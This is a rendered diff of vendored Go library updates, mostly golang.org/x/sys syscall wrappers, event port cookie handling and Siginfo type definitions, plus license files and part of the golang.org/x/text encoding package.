if err != nil {
|
||||
// If the path is no longer associated with this event port (ENOENT)
|
||||
// we should delete it from our map. We can still return ENOENT to the caller.
|
||||
// But we need to save the cookie
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.paths[path]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.paths, path)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
// AssociateFd wraps calls to port_associate(3c) on file descriptors.
|
||||
@@ -862,12 +870,13 @@ func (e *EventPort) AssociateFd(fd uintptr, events int, cookie interface{}) erro
|
||||
if _, found := e.fds[fd]; found {
|
||||
return fmt.Errorf("%v is already associated with this Event Port", fd)
|
||||
}
|
||||
pcookie := &cookie
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(pcookie)))
|
||||
fCookie := &fileObjCookie{nil, cookie}
|
||||
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(&fCookie.cookie)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.fds[fd] = pcookie
|
||||
e.fds[fd] = fCookie
|
||||
e.cookies[&fCookie.cookie] = fCookie
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -880,11 +889,16 @@ func (e *EventPort) DissociateFd(fd uintptr) error {
|
||||
return fmt.Errorf("%v is not associated with this Event Port", fd)
|
||||
}
|
||||
_, err := port_dissociate(e.port, PORT_SOURCE_FD, fd)
|
||||
if err != nil {
|
||||
if err != nil && err != ENOENT {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
// dissociate was successful, safe to delete the cookie
|
||||
fCookie := e.fds[fd]
|
||||
delete(e.cookies, &fCookie.cookie)
|
||||
}
|
||||
delete(e.fds, fd)
|
||||
return nil
|
||||
return err
|
||||
}
|
||||
|
||||
func createFileObj(name string, stat os.FileInfo) (*fileObj, error) {
|
||||
@@ -912,26 +926,48 @@ func (e *EventPort) GetOne(t *Timespec) (*PortEvent, error) {
|
||||
return nil, err
|
||||
}
|
||||
p := new(PortEvent)
|
||||
p.Events = pe.Events
|
||||
p.Source = pe.Source
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
switch pe.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
p.Fd = uintptr(pe.Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.fds, p.Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
p.fobj = (*fileObj)(unsafe.Pointer(uintptr(pe.Object)))
|
||||
p.Path = BytePtrToString((*byte)(unsafe.Pointer(p.fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(pe.User))
|
||||
p.Cookie = *cookie
|
||||
delete(e.paths, p.Path)
|
||||
}
|
||||
e.peIntToExt(pe, p)
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// peIntToExt converts a cgo portEvent struct into the friendlier PortEvent
|
||||
// NOTE: Always call this function while holding the e.mu mutex
|
||||
func (e *EventPort) peIntToExt(peInt *portEvent, peExt *PortEvent) {
|
||||
peExt.Events = peInt.Events
|
||||
peExt.Source = peInt.Source
|
||||
cookie := (*interface{})(unsafe.Pointer(peInt.User))
|
||||
peExt.Cookie = *cookie
|
||||
switch peInt.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Fd = uintptr(peInt.Object)
|
||||
// Only remove the fds entry if it exists and this cookie matches
|
||||
if fobj, ok := e.fds[peExt.Fd]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.fds, peExt.Fd)
|
||||
}
|
||||
}
|
||||
case PORT_SOURCE_FILE:
|
||||
if fCookie, ok := e.cookies[cookie]; ok && uintptr(unsafe.Pointer(fCookie.fobj)) == uintptr(peInt.Object) {
|
||||
// Use our stashed reference rather than using unsafe on what we got back
|
||||
// the unsafe version would be (*fileObj)(unsafe.Pointer(uintptr(peInt.Object)))
|
||||
peExt.fobj = fCookie.fobj
|
||||
} else {
|
||||
panic("mismanaged memory")
|
||||
}
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Path = BytePtrToString((*byte)(unsafe.Pointer(peExt.fobj.Name)))
|
||||
// Only remove the paths entry if it exists and this cookie matches
|
||||
if fobj, ok := e.paths[peExt.Path]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.paths, peExt.Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pending wraps port_getn(3c) and returns how many events are pending.
|
||||
func (e *EventPort) Pending() (int, error) {
|
||||
var n uint32 = 0
|
||||
@@ -962,21 +998,7 @@ func (e *EventPort) Get(s []PortEvent, min int, timeout *Timespec) (int, error)
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
for i := 0; i < int(got); i++ {
|
||||
s[i].Events = ps[i].Events
|
||||
s[i].Source = ps[i].Source
|
||||
switch ps[i].Source {
|
||||
case PORT_SOURCE_FD:
|
||||
s[i].Fd = uintptr(ps[i].Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.fds, s[i].Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
s[i].fobj = (*fileObj)(unsafe.Pointer(uintptr(ps[i].Object)))
|
||||
s[i].Path = BytePtrToString((*byte)(unsafe.Pointer(s[i].fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.paths, s[i].Path)
|
||||
}
|
||||
e.peIntToExt(&ps[i], &s[i])
|
||||
}
|
||||
return int(got), err
|
||||
}
|
||||
+27
@@ -337,6 +337,33 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
var rsa RawSockaddrAny
|
||||
n, oobn, recvflags, err = recvmsgRaw(fd, p, oob, flags, &rsa)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
return sendmsgN(fd, p, oob, ptr, salen, flags)
|
||||
}
|
||||
|
||||
func Send(s int, buf []byte, flags int) (err error) {
|
||||
return sendto(s, buf, flags, nil, 0)
|
||||
}
|
||||
|
||||
+4
@@ -2135,6 +2135,10 @@ const (
|
||||
PTRACE_SYSCALL_INFO_NONE = 0x0
|
||||
PTRACE_SYSCALL_INFO_SECCOMP = 0x3
|
||||
PTRACE_TRACEME = 0x0
|
||||
P_ALL = 0x0
|
||||
P_PGID = 0x2
|
||||
P_PID = 0x1
|
||||
P_PIDFD = 0x3
|
||||
QNX4_SUPER_MAGIC = 0x2f
|
||||
QNX6_SUPER_MAGIC = 0x68191122
|
||||
RAMFS_MAGIC = 0x858458f6
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+20
@@ -231,6 +231,16 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_WAITID, uintptr(idType), uintptr(id), uintptr(unsafe.Pointer(info)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
|
||||
r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
|
||||
ret = int(r0)
|
||||
@@ -1992,6 +2002,16 @@ func PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) {
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_PIDFD_SEND_SIGNAL, uintptr(pidfd), uintptr(sig), uintptr(unsafe.Pointer(info)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func shmat(id int, addr uintptr, flag int) (ret uintptr, err error) {
|
||||
r0, _, e1 := Syscall(SYS_SHMAT, uintptr(id), uintptr(addr), uintptr(flag))
|
||||
ret = uintptr(r0)
|
||||
|
||||
+7
@@ -250,6 +250,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -265,6 +265,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -241,6 +241,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -244,6 +244,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -253,6 +253,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -272,6 +272,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -267,6 +267,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -249,6 +249,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+3
-4
@@ -10,6 +10,7 @@ import (
|
||||
errorspkg "errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
@@ -86,10 +87,8 @@ func StringToUTF16(s string) []uint16 {
|
||||
// s, with a terminating NUL added. If s contains a NUL byte at any
|
||||
// location, it returns (nil, syscall.EINVAL).
|
||||
func UTF16FromString(s string) ([]uint16, error) {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
if strings.IndexByte(s, 0) != -1 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
return utf16.Encode([]rune(s + "\x00")), nil
|
||||
}
|
||||
|
||||
File renamed without changes.
Generated
Vendored
File renamed without changes.
+27
@@ -0,0 +1,27 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
Additional IP Rights Grant (Patents)
|
||||
|
||||
"This implementation" means the copyrightable works distributed by
|
||||
Google as part of the Go project.
|
||||
|
||||
Google hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section)
|
||||
patent license to make, have made, use, offer to sell, sell, import,
|
||||
transfer and otherwise run, modify and propagate the contents of this
|
||||
implementation of Go, where such license applies only to those patent
|
||||
claims, both currently owned or controlled by Google and acquired in
|
||||
the future, licensable by Google that are necessarily infringed by this
|
||||
implementation of Go. This grant does not include claims that would be
|
||||
infringed only as a consequence of further modification of this
|
||||
implementation. If you or your agent or exclusive licensee institute or
|
||||
order or agree to the institution of patent litigation against any
|
||||
entity (including a cross-claim or counterclaim in a lawsuit) alleging
|
||||
that this implementation of Go or any code incorporated within this
|
||||
implementation of Go constitutes direct or contributory patent
|
||||
infringement, or inducement of patent infringement, then any patent
|
||||
rights granted to you under this License for this implementation of Go
|
||||
shall terminate as of the date such litigation is filed.
|
||||
+335
@@ -0,0 +1,335 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package encoding defines an interface for character encodings, such as Shift
|
||||
// JIS and Windows 1252, that can convert to and from UTF-8.
|
||||
//
|
||||
// Encoding implementations are provided in other packages, such as
|
||||
// golang.org/x/text/encoding/charmap and
|
||||
// golang.org/x/text/encoding/japanese.
|
||||
package encoding // import "golang.org/x/text/encoding"
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"strconv"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// TODO:
|
||||
// - There seems to be some inconsistency in when decoders return errors
|
||||
// and when not. Also documentation seems to suggest they shouldn't return
|
||||
// errors at all (except for UTF-16).
|
||||
// - Encoders seem to rely on or at least benefit from the input being in NFC
|
||||
// normal form. Perhaps add an example how users could prepare their output.
|
||||
|
||||
// Encoding is a character set encoding that can be transformed to and from
|
||||
// UTF-8.
|
||||
type Encoding interface {
|
||||
// NewDecoder returns a Decoder.
|
||||
NewDecoder() *Decoder
|
||||
|
||||
// NewEncoder returns an Encoder.
|
||||
NewEncoder() *Encoder
|
||||
}
|
||||
|
||||
// A Decoder converts bytes to UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Transforming source bytes that are not of that encoding will not result in an
|
||||
// error per se. Each byte that cannot be transcoded will be represented in the
|
||||
// output by the UTF-8 encoding of '\uFFFD', the replacement rune.
|
||||
type Decoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Decoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts the given encoded bytes to UTF-8. It returns the converted
|
||||
// bytes or nil, err if any error occurred.
|
||||
func (d *Decoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(d, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts the given encoded string to UTF-8. It returns the converted
|
||||
// string or "", err if any error occurred.
|
||||
func (d *Decoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(d, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Reader wraps another Reader to decode its bytes.
|
||||
//
|
||||
// The Decoder may not be used for any other operation as long as the returned
|
||||
// Reader is in use.
|
||||
func (d *Decoder) Reader(r io.Reader) io.Reader {
|
||||
return transform.NewReader(r, d)
|
||||
}
|
||||
|
||||
// An Encoder converts bytes from UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Each rune that cannot be transcoded will result in an error. In this case,
|
||||
// the transform will consume all source byte up to, not including the offending
|
||||
// rune. Transforming source bytes that are not valid UTF-8 will be replaced by
|
||||
// `\uFFFD`. To return early with an error instead, use transform.Chain to
|
||||
// preprocess the data with a UTF8Validator.
|
||||
type Encoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Encoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts bytes from UTF-8. It returns the converted bytes or nil, err if
|
||||
// any error occurred.
|
||||
func (e *Encoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(e, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts a string from UTF-8. It returns the converted string or
|
||||
// "", err if any error occurred.
|
||||
func (e *Encoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(e, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Writer wraps another Writer to encode its UTF-8 output.
|
||||
//
|
||||
// The Encoder may not be used for any other operation as long as the returned
|
||||
// Writer is in use.
|
||||
func (e *Encoder) Writer(w io.Writer) io.Writer {
|
||||
return transform.NewWriter(w, e)
|
||||
}
|
||||
|
||||
// ASCIISub is the ASCII substitute character, as recommended by
|
||||
// https://unicode.org/reports/tr36/#Text_Comparison
|
||||
const ASCIISub = '\x1a'
|
||||
|
||||
// Nop is the nop encoding. Its transformed bytes are the same as the source
|
||||
// bytes; it does not replace invalid UTF-8 sequences.
|
||||
var Nop Encoding = nop{}
|
||||
|
||||
type nop struct{}
|
||||
|
||||
func (nop) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: transform.Nop}
|
||||
}
|
||||
func (nop) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: transform.Nop}
|
||||
}
|
||||
|
||||
// Replacement is the replacement encoding. Decoding from the replacement
|
||||
// encoding yields a single '\uFFFD' replacement rune. Encoding from UTF-8 to
|
||||
// the replacement encoding yields the same as the source bytes except that
|
||||
// invalid UTF-8 is converted to '\uFFFD'.
|
||||
//
|
||||
// It is defined at http://encoding.spec.whatwg.org/#replacement
|
||||
var Replacement Encoding = replacement{}
|
||||
|
||||
type replacement struct{}
|
||||
|
||||
func (replacement) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: replacementDecoder{}}
|
||||
}
|
||||
|
||||
func (replacement) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: replacementEncoder{}}
|
||||
}
|
||||
|
||||
func (replacement) ID() (mib identifier.MIB, other string) {
|
||||
return identifier.Replacement, ""
|
||||
}
|
||||
|
||||
type replacementDecoder struct{ transform.NopResetter }
|
||||
|
||||
func (replacementDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if len(dst) < 3 {
|
||||
return 0, 0, transform.ErrShortDst
|
||||
}
|
||||
if atEOF {
|
||||
const fffd = "\ufffd"
|
||||
dst[0] = fffd[0]
|
||||
dst[1] = fffd[1]
|
||||
dst[2] = fffd[2]
|
||||
nDst = 3
|
||||
}
|
||||
return nDst, len(src), nil
|
||||
}
|
||||
|
||||
type replacementEncoder struct{ transform.NopResetter }
|
||||
|
||||
